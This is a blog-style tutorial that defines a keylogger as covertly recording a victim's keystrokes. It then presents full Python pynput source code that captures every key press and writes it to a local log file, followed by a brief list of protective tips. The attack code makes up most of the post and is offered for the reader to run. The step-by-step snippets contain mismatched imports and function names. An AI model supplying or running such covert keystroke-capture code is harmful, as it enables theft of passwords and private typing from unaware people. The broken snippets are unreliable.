What is a Key Logger | Python Program for KeyLogging |

What is a KeyLogger ?

Recording the keys struck on a keyboard, and the victim using keyboard is unware that their actions are being monitored. This logging program is called a Key Logger.

Data can then be retrived by the person operating the logging program.

Steps for Key Logging :

Step 1 : Install the following packages -

               pip install pynput

Step 2 : Import the euired libraries -

    import pynput

    from pynput.keyboard import key, Listener

Step 3 : Define a list to store keys and a variable to store character count

    charCount = 0

    keys = []

Let's write a function to perform some action when a key is pressed

    

    def onkeyPressed(key):

        try:

            print('key Pressed',key) # Print pressed key

        except Exception as ex:

            print('There was an error : ',ex)

Now, let's write a function to handle key release

    def onkeyRelease(key):

        global keys, charCount  # Access global variables

        if key == Key.esc:

            return False

        else:

            if key == Key.enter:   #Write keys to file

                writeToFile(keys)

                charCount = 0

                keys = []

            elif key == Key.space:  # Write keys to file

                key = ' '

                writeToFile(keys)

                keys = []

                charCount = 0

            keys.append(key)  # Store the keys

            charCount += 1    # Count Keys pressed

Finally, let's define a function that will log the keys pressed to a log file

    def writeToFile(keys):

        with open('log.txt','a') as file:

            for key in keys:

                key = str(key).replace("'","")  #Replace ' with space

                if 'key'.upper() not in key.upper():

                    file.write(key)

            file.write("\n")          # Insert new line

We can use the Listener provided by '**pynput'** to log the keys

    with Listener(on_press=onKeyPress,\

        on_release=onKeyRelease) as listener:

        listener.join()

Now Save the file and run the program in any IDE like, VS Code

6 ways to Protect Yourself against KeyLogger

1. Use a Firewall

2. Install a Password Manager

3. Update Your System

4. Consider Additional Security Tools

5. Change Your passwords

6. Remove any unwanted physical cable/device from system

Complete Program :

    import pynput

    from pynput.keyboard import Key, Listener

    charCount = 0

    keys = []

    def onKeyPress(key):

        try:

            print('key Pressed',key) # Print pressed key

        except Exception as ex:

            print('There was an error : ',ex)

       

    def onKeyRelease(key):

        global keys, charCount  # Access global variables

        if key == Key.esc:

            return False

        else:

            if key == Key.enter:   #Write keys to file

                writeToFile(keys)

                charCount = 0

                keys = []

            elif key == Key.space:  # Write keys to file

                key = ' '

                writeToFile(keys)

                keys = []

                charCount = 0

            keys.append(key)  # Store the keys

            charCount += 1    # Count Keys pressed

       

    def writeToFile(keys):

        with open('log.txt','a') as file:

            for key in keys:

                key = str(key).replace("'","")  #Replace ' with space

                if 'key'.upper() not in key.upper():

                    file.write(key)

            file.write("\n")          # Insert new line

       

    with Listener(on_press=onKeyPress,\

        on_release=onKeyRelease) as listener:

        listener.join()

   

Try Youself :

Tanks for Visit...

Stay aware, Stay Safe

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